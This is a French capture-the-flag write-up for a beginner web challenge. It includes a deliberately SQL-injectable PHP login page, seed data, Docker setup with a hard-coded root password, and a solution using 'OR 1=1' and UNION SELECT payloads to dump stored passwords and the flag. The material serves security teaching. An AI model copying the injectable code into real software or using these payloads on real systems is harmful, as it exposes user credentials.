Privé de jeu

Auteur	Catégorie	Niveau
Cécile	Web	Facile

Énoncé :

Intro

J'ai oublié mon mot de passe, peux tu m'aider à le retrouver ? Mon pseudo est J3suis1n00b.

Pièce Jointe

http://192.168.201.10:20010/connexion.php

Préparation du challenge

Objectif

Découvrir les bases des injections SQL avec l'affichage de la requête envoyée sur la page.

Flag

NHM2I{c0oljelaiRetrouv3!}

Démarche

Création de la page web

On créé une page php demandant un login / mot de passe et effectuant une requête simple sur une base de données nommée gamersdatabase pour que le joueur puisse se connecter. On ajoute également l'affichage de la requête envoyée pour orienter le joueur ainsi que le message d'erreur pour l'orienter. On utilise l'extension PDO pour PHP qui permet d'interroger notre base de données via des requêtes SQL.

```php
<?php
$host = "192.168.201.10"; // Le host est le nom du service, présent dans le docker-compose.yml
// $host = "192.168.201.73";
$dbname = "gamersdatabase";
$charset = "utf8";
$port = "20015";

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

if(isset($_POST['username']) && $_POST['username'] != "")
{
        if(isset($_POST['password']) && $_POST['password'] != "")
        {
                try {
                        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=$charset;port=$port", "root", "NHM2I-l3sup3rmotd3pass3!");
                        $query = 'SELECT * FROM Gamers WHERE gamerLogin="'.$_POST['username'].'"AND gamerMotDePasse="'.$_POST['password'].'"';
                        echo $query."<br>";
                        $gamers = $pdo->query($query);

                        if($gamers)
                        {
                                echo '<pre>';
                                foreach ($gamers->fetchAll() as $gamer) {
                                        echo "Bienvenue ".$gamer['gamerPrenom']." ".$gamer['gamerNom']."<br>";
                                }
                                echo '</pre>';

                        }else{
                                echo "Une erreur s'est produite lors du chargement de la base de données <br>";
                        }


                } catch (PDOException $e) {

                        //throw new PDOException($e->getMessage(), (int)$e->getCode());
                        echo "Un problème est survenu : ".$e->getMessage()."<br>";
                }

        }else{
                echo "Merci d'entrer un mot de passe";
        }
}else{
        echo "Merci d'entrer un nom d'utilisateur";
}
}
?>
<!DOCTYPE html>
<html>
<head>
  <title>Page de login</title>
  <link href="connexion.css" rel="stylesheet" type="text/css">
</head>

<body>
```

```
  <h1>Page de login</h1>
  <div class="grille">
    <img class="img" src="mario-gate.jpg" alt="Mario">
    <form action="connexion.php" method="post">
      <label for="username">Nom d'utilisateur :</label><br>
      <input type="text" id="username" name="username"><br>
      <label for="password">Mot de passe :</label><br>
      <input type="password" id="password" name="password"><br><br>
      <input type="submit" value="Se connecter">
    </form>
  </div>
</body>
</html>
```

On créé une feuille de style CSS :

```
h1 {
    display: flex;
    align-items: center;
    justify-content: space-around;
    font-size: 32px;
    font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif;
}

.grille {
    display: flex;
    grid-template-columns: 1fr 1fr;
    align-items: center;
    justify-content: space-around;
}

.img {
    width : 250px;
    }

form {
    width:100%;
    padding: 30px;
    border: 1px solid #f1f1f1;
    background: #fff;
    box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24);
}


body {
    align-items: center;
    background: #f5ac10;
    display: grid;
    font-size: 14px;
    font-weight: 400;
    height: 100vh;
    justify-items: center;
    weight: 100vw;
}
```

Création du container

On créé un fichier init.sql qui va remplir la base de données à la création du docker :

```
CREATE TABLE Gamers (gamerId int NOT NULL AUTO_INCREMENT PRIMARY KEY, gamerPrenom varchar(255), gamerNom varchar(255), gamerLogin varchar(255) NOT
NULL,
gamerMotDePasse varchar(255) NOT NULL, gamerEmail varchar(255));
```

```
CREATE TABLE Secret_Gamers (secretgamerId int NOT NULL AUTO_INCREMENT PRIMARY KEY, secretgamerPrenom varchar(255), secretgamerNom varchar(255),
secretgamerLogin varchar(255) NOT NULL, secretgamerMotDePasse varchar(255) NOT NULL, secretgamerEmail varchar(255));
```

```
INSERT INTO Gamers (gamerPrenom, gamerNom, gamerLogin, gamerMotDePasse, gamerEmail)
VALUES
('Lara', 'Croft', 'LaraCroft1', 'NHM2I{M0nSuper!MDP50}' ,'laracroft@trucmail.fr'),
('Emily', 'Johnson', 'emilyj', 'NHM2I{password456}', 'emilyj@email.com'),
('Mario', 'Bros', 'MBros2001', 'NHM2I{motDeP@ss314}' ,'mario@trucmail.fr'),
('Luigi', 'Bros', 'LuigiL3B0ss', 'NHM2I{L3Super!mdp0}' ,'laracroft@trucmail.fr'),
('John', 'Smith', 'johnsmith', 'NHM2I{password123}', 'johnsmith@email.com'),
('Emily', 'Johnson', 'emilyj', 'NHM2I{password456}', 'emilyj@email.com'),
('Andrew', 'Thomas', 'andrewt', 'NHM2I{P@ssw0rd!l0v3}', 'andrewt@email.com'),
('Nicholas', 'Jackson', 'nicholasj', 'NHM2I{N0M0r3H@ck1ng}', 'nicholasj@email.com'),
('Samantha', 'White', 'samanthaw', 'password373839', 'samanthaw@email.com'),
('Christopher', 'Harris', 'christopherh', 'password404142', 'christopherh@email.com'),
('Rachel', 'Martin', 'rachelm', 'password434445', 'rachelm@email.com'),
('Joseph', 'Thompson', 'josepht', 'password464748', 'josepht@email.com'),
('Megan', 'Garcia', 'megang', 'password495051', 'megang@email.com'),
('Justin', 'Martinez', 'justinm', 'password525354', 'justinm@email.com'),
('Lauren', 'Robinson', 'laurenr', 'password5556', 'laurenr@email.com'),
('Lukes', 'Skywalker', 'LukesStheJedi', 'NHM2I{J3SuisUnJedi56}', 'lukesthejedi@email.com'),
('Michael', 'Williams', 'michaelw', 'password789', 'michaelw@email.com'),
('Matthew', 'Jones', 'mattjones', 'password101112', 'mattjones@email.com'),
('Daniel', 'Brown', 'danielbrown', 'NHM2I{B3$tP@ssw0rd}', 'danielbrown@email.com'),
('Jessica', 'Davis', 'jessdavis', 'NHM2I{L33tH@x0rP@ss}', 'jessdavis@email.com'),
('Jacob', 'Miller', 'jacobmiller', 'password192021', 'jacobmiller@email.com'),
('Ashley', 'Moore', 'ashleymoore', 'NHM2I{S3cur3P@ssw0rd}', 'ashleymoore@email.com'),
('Joshua', 'Taylor', 'joshtaylor', 'NHM2I{H@ckTh1$P@ss}', 'joshtaylor@email.com'),
('Amanda', 'Anderson', 'amandaa', 'NHM2I{C00Lc3stL3Bon7foisCi}', 'amandaa@email.com'),
('Julien', 'Depolet', 'J3suis1n00b', 'NHM2I{c0oljelaiRetrouv3!}' ,'j3suis1n00b@trucmail.fr'),
('John', 'Smith', 'johnsmith', 'NHM2I{L3password123P3utEtre}', 'johnsmith@email.com'),
('Michael', 'Williams', 'michaelw', 'password789', 'michaelw@email.com'),
('Matthew', 'Jones', 'mattjones', 'NHM2I{N3wY3@rN3wP@ss}', 'mattjones@email.com'),
('Daniel', 'Brown', 'danielbrown', 'NHM2I{P@ssw0rdG0n3!}', 'danielbrown@email.com'),
('Jessica', 'Davis', 'jessdavis', 'NHM2I{S3cur3Th3Net}', 'jessdavis@email.com'),
```

```
('Jacob', 'Miller', 'jacobmiller', 'NHM2I{H@ckTh3Pl@n3t}', 'jacobmiller@email.com'),
('Ashley', 'Moore', 'ashleymoore', 'NHM2I{P@ssw0rd2023}', 'ashleymoore@email.com'),
('Joshua', 'Taylor', 'joshtaylor', 'NHM2I{P@ssw0rdN0W!}', 'joshtaylor@email.com'),
('Amanda', 'Anderson', 'amandaa', 'NHM2I{P@ssw0rdR0ck$!}', 'amandaa@email.com'),
('Andrew', 'Thomas', 'andrewt', 'NHM2I{S3cur3Y0urD@t@}', 'andrewt@email.com'),
('Nicholas', 'Jackson', 'nicholasj', 'password343536', 'nicholasj@email.com'),
('Samantha', 'White', 'samanthaw', 'password373839', 'samanthaw@email.com'),
('Christopher', 'Harris', 'christopherh', 'password404142', 'christopherh@email.com'),
('Rachel', 'Martin', 'rachelm', 'password434445', 'rachelm@email.com'),
('Joseph', 'Thompson', 'josepht', 'password464748', 'josepht@email.com'),
('Megan', 'Garcia', 'megang', 'password495051', 'megang@email.com'),
('Justin', 'Martinez', 'justinm', 'password525354', 'justinm@email.com'),
('Lauren', 'Robinson', 'laurenr', 'NHM2I{N0M0r3L@zyP@ss}', 'laurenr@email.com'),
('Brandon', 'Clark', 'brandonc', 'NHM2I{C0d3H@ck3rP@ss}', 'brandonc@email.com'),
('Amber', 'Rodriguez', 'amberr', 'NHM2I{H@ckTh3W3b}', 'amberr@email.com'),
('Brian', 'Lewis', 'brianl', 'NHM2I{H@ckTh3Unh@ck@bl3}', 'brianl@email.com'),
('Brittany', 'Walker', 'brittanyw', 'NHM2I{D3f3nd3rP@ss}', 'brittanyw@email.com'),
('William', 'Hall', 'williamh', 'NHM2I{N3wY3@rN3wS3cur1ty}', 'williamh@email.com');
```

```
INSERT INTO Secret_Gamers (secretgamerPrenom, secretgamerNom, secretgamerLogin, secretgamerMotDePasse, secretgamerEmail)
VALUES
("John", "Doe", "johndoe", "password123", "johndoe@example.com"),
("Jane", "Doe", "janedoe", "password456", "janedoe@example.com"),
("Bob", "Smith", "bobsmith", "password789", "bobsmith@example.com"),
("Alice", "Johnson", "alicej", "password123", "alicej@example.com"),
("Michael", "Brown", "michaelb", "password456", "michaelb@example.com"),
("Sarah", "Lee", "sarahlee", "password789", "sarahlee@example.com"),
("David", "Kim", "davidk", "password123", "davidk@example.com"),
("Jessica", "Davis", "jessicad", "password456", "jessicad@example.com"),
("Richard", "Wilson", "richardw", "password789", "richardw@example.com"),
("Emily", "Taylor", "emilyt", "password123", "emilyt@example.com"),
("Daniel", "Brown", "danielb", "password456", "danielb@example.com"),
("Maria", "Garcia", "mariag", "password789", "mariag@example.com"),
("Jacob", "Martin", "jacobm", "password123", "jacobm@example.com"),
("Hannah", "Wilson", "hannahw", "password456", "hannahw@example.com"),
("William", "Davis", "williamd", "password789", "williamd@example.com"),
("Lauren", "Johnson", "laurenj", "password123", "laurenj@example.com"),
("Alex", "Thomas", "alext", "password456", "alext@example.com"),
("Elizabeth", "Wilson", "elizabethw", "password789", "elizabethw@example.com"),
("Ryan", "Martinez", "ryanm", "password123", "ryanm@example.com"),
("Avery", "Anderson", "averya", "password456", "averya@example.com"),
("Grace", "Moore", "gracem", "password789", "gracem@example.com"),
("Ethan", "Clark", "ethanc", "password123", "ethanc@example.com"),
("Mia", "Hall", "miah", "password456", "miah@example.com"),
("Liam", "Roberts", "liamr", "password789", "liamr@example.com"),
("Chloe", "Harris", "chloeh", "password123", "chloeh@example.com"),
("Noah", "Jackson", "noahj", "password456", "noahj@example.com"),
("Victoria", "Allen", "victoriaa", "password789", "victoriaa@example.com"),
("Caleb", "King", "calebk", "password123", "calebk@example.com"),
("Ava", "Baker", "avab", "password456", "avab@example.com"),
('Julien', 'Polet', 'J3suis1n00b1',  "password456" ,'j3suis1n00b@trucmail.fr'),
("Olivia", "Wright", "oliviaw", "password123", "oliviaw@example.com"),
("Isabella", "Green", "isabellag", "password456", "isabellag@example.com"),
("Henry", "Walker", "henryw", "password789", "henryw@example.com"),
("Sophia", "Perez", "sophiap", "password123", "sophiap@example.com"),
("Mason", "Young", "masony", "password456", "masony@example.com"),
("Evelyn", "Hall", "evelynh", "password789", "evelynh@example.com"),
("Benjamin", "Allen", "benjamina", "password123", "benjamina@example.com"),
("Natalie", "King", "nataliek", "password456", "nataliek@example.com"),
("Mia", "Parker", "miap", "password789", "miap@example.com"),
("Lucas", "Cruz", "lucasc", "password123", "lucasc@example.com"),
("Aria", "Robinson", "ariar", "password456", "ariar@example.com"),
("Jackson", "Turner", "jacksont", "password789", "jacksont@example.com"),
("Charlotte", "Scott", "charlottesc", "password123", "charlottesc@example.com"),
("Jacob", "Gonzalez", "jacobg", "password456", "jacobg@example.com"),
("Madison", "Mitchell", "madisonm", "password789", "madisonm@example.com"),
("Liam", "Rodriguez", "liamr", "password123", "liamr@example.com"),
("Scarlett", "Clark", "scarlettc", "password456", "scarlettc@example.com"),
("William", "Cooper", "williamc", "password789", "williamc@example.com"),
("Sofia", "Ramirez", "sofiar", "password123", "sofiar@example.com"),
("Owen", "Parker", "owenp", "password456", "owenp@example.com"),
("Amelia", "Collins", "ameliac", "password789", "ameliac@example.com"),
("Ethan", "Turner", "ethant", "password123", "ethant@example.com"),
("Avery", "Cook", "averyc", "password456", "averyc@example.com");
```

On créé un dockerfile qui va installer les services dont nous avons besoin :

```
FROM php:8.1-apache
COPY site /var/www/html
RUN docker-php-ext-install mysqli pdo pdo_mysql
```

On appelle l'ensemble des fichiers et on créé la base de données dans le fichier docker-compose.yaml :
Le volume `db_data` est utilisé pour stocker les données de la base de données MySQL et créée dans le fichier init.sql.
Cela signifie que les données de la base de données MySQL persistent même après la suppression du conteneur MySQL.
Les données sont stockées sur l'hôte Docker, dans un dossier nommé `db_data`. En utilisant ce volume, les données stockées dans la base de données MySQL sont préservées, même si le conteneur MySQL est arrêté ou supprimé.
Il sera créé automatiquement lors de l'exécution de la commande `docker-compose up -d`, car il est défini dans le fichier `docker-compose.yml`.

```
version: "3.9"

services:
  php-apache:
    build: "."
    ports:
      - "20010:80"
    depends_on:
      - mysql
    volumes:
      - ./site:/var/www/html
    restart: unless-stopped
```

```
  mysql:
    image: mysql:8.0
    ports:
      - "20015:3306"

    environment:
      MYSQL_ROOT_PASSWORD: NHM2I-l3sup3rmotd3pass3!
      MYSQL_DATABASE: "gamersdatabase"
    volumes:
      - db_data:/var/lib/mysql
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql

volumes:
  db_data:
```

Lancement du challenge

On copie l'ensemble des fichiers sur le serveur depuis le répertoire ou sont stockés les fichiers des challenges :

```
scp -r ./* students@192.168.201.10:/home/students/CTF/Cecile
```

On lance le docker :

```
sudo docker-compose up --build
```

Résolution :

Solution débutant :

On arrive sur une page web, dans un premier temps on essaye de mettre un nom et un prénom de façon aléatoire :
La requête effectuée apparaît :

```
SELECT * FROM Gamers WHERE gamerLogin="cecile"AND gamerMotDePasse="cecile"
```

On essaye dans l'un des 2 champs l'injection suivante, ici le premier

```
cecile " OR 1=1 ; --
```

- Requête : SELECT * FROM Gamers WHERE gamerLogin="cecile " OR 1=1 ; --"AND gamerMotDePasse="cecile"
- Résultat :

SELECT * FROM Gamers WHERE gamerLogin="cecile " OR 1=1 ; --"AND gamerMotDePasse="cecile"

```
Bienvenue Lara Croft
Bienvenue Emily Johnson
Bienvenue Mario Bros
Bienvenue Luigi Bros
Bienvenue John Smith
Bienvenue Emily Johnson
Bienvenue Andrew Thomas
Bienvenue Nicholas Jackson
Bienvenue Samantha White
Bienvenue Christopher Harris
Bienvenue Rachel Martin
Bienvenue Joseph Thompson
```

On obtient ainsi le nom de deux champs utilisés pour valider le formulaire : gamerLogin et gamerMotDePasse ainsi que le nom de la table.

On essaye alors une union, en essayant de trouver le nombre de colonne de la table :

- Requête : SELECT * FROM Gamers WHERE gamerLogin="" UNION SELECT gamerLogin, gamerMotDePasse, NULL, NULL FROM Gamers ; --"AND gamerMotDePasse="cecile"
- Résultat :

SELECT * FROM Gamers WHERE gamerLogin="" UNION gamerLogin, gamerMotDePasse, NULL, NULL FROM Gamers ; --"AND gamerMotDePasse="cecile"
Un problème est survenu : SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'gamerLogin, gamerMotDePasse, NULL, NULL FROM Gamers ; --"AND gamerMotDePasse="ce' at line 1

⇒ Cela nous indique que le nombre de colonne ne correspond pas. On continue alors à ajouter des NULL jusqu'à avoir un résultat.

- Requête : SELECT * FROM Gamers WHERE gamerLogin="" UNION SELECT gamerLogin, gamerMotDePasse, NULL, NULL, NULL, NULL FROM Gamers ; -- AND gamerMotDePasse="cecile"
- Résultat :

SELECT * FROM Gamers WHERE gamerLogin="" UNION SELECT gamerLogin, gamerMotDePasse, NULL, NULL, NULL, NULL FROM Gamers ; --"AND gamerMotDePasse="cecile"

```
Bienvenue M0nSuper!MDP50
Bienvenue password456
Bienvenue motDeP@ss314
Bienvenue L3Super!mdp0
Bienvenue password123
Bienvenue password313233
Bienvenue password343536
Bienvenue password373839
Bienvenue password404142
Bienvenue password434445
Bienvenue password464748
Bienvenue password495051
Bienvenue password525354
Bienvenue password5556
Bienvenue JeSuisUnJedi56
Bienvenue password789
Bienvenue password101112
Bienvenue password131415
Bienvenue password{161718}
Bienvenue password192021
Bienvenue password222324
Bienvenue password252627
Bienvenue password282930
Bienvenue nhm2i{c0oljelaiRetrouv3!}
Bienvenue password161718
Bienvenue password575859
Bienvenue password6061
Bienvenue password626364
Bienvenue password656667
Bienvenue password676869
```

On obtient les mots de passe mais on ne voit qui en sont les propriétaires. On va essayer de concaténer les 2 pour tout afficher :

```
" UNION SELECT gamerLogin, CONCAT(gamerLogin, " ", gamerMotDePasse), NULL, NULL, NULL, NULL FROM Gamers ; --
```

- Requête : SELECT * FROM Gamers WHERE gamerLogin="" UNION SELECT gamerLogin, CONCAT(gamerLogin, " ", gamerMotDePasse), NULL, NULL, NULL, NULL FROM Gamers ; --"AND gamerMotDePasse="cecile"
- Résultat :

SELECT * FROM Gamers WHERE gamerLogin="" UNION SELECT gamerLogin, CONCAT(gamerLogin, " ", gamerMotDePasse), NULL, NULL, NULL, NULL FROM Gamers ; --"AND gamerMotDePasse="cecile"

```
Bienvenue LaraCroft1 M0nSuper!MDP50
Bienvenue emilyj password456
Bienvenue MBros2001 motDeP@ss314
Bienvenue LuigiL3B0ss L3Super!mdp0
Bienvenue johnsmith password123
Bienvenue andrewt password313233
Bienvenue nicholasj password343536
Bienvenue samanthaw password373839
Bienvenue christopherh password404142
Bienvenue rachelm password434445
Bienvenue josepht password464748
Bienvenue megang password495051
Bienvenue justinm password525354
Bienvenue laurenr password5556
Bienvenue LukesStheJedi JeSuisUnJedi56
Bienvenue michaelw password789
Bienvenue mattjones password101112
Bienvenue danielbrown password131415
Bienvenue jessdavis password{161718}
Bienvenue jacobmillerr password192021
Bienvenue ashleymoore password222324
Bienvenue joshtaylor password252627
Bienvenue amandaa password282930
Bienvenue J3suis1n00b nhm2i{c0oljelaiRetrouv3!}
Bienvenue jessdavis password161718
Bienvenue brandonc password575859
Bienvenue amberr password6061
Bienvenue brianl password626364
Bienvenue brittanyw password656667
Bienvenue williamh password676869
```

On récupère ainsi le flag :

Bienvenue J3suis1n00b nhm2i{c0oljelaiRetrouv3!}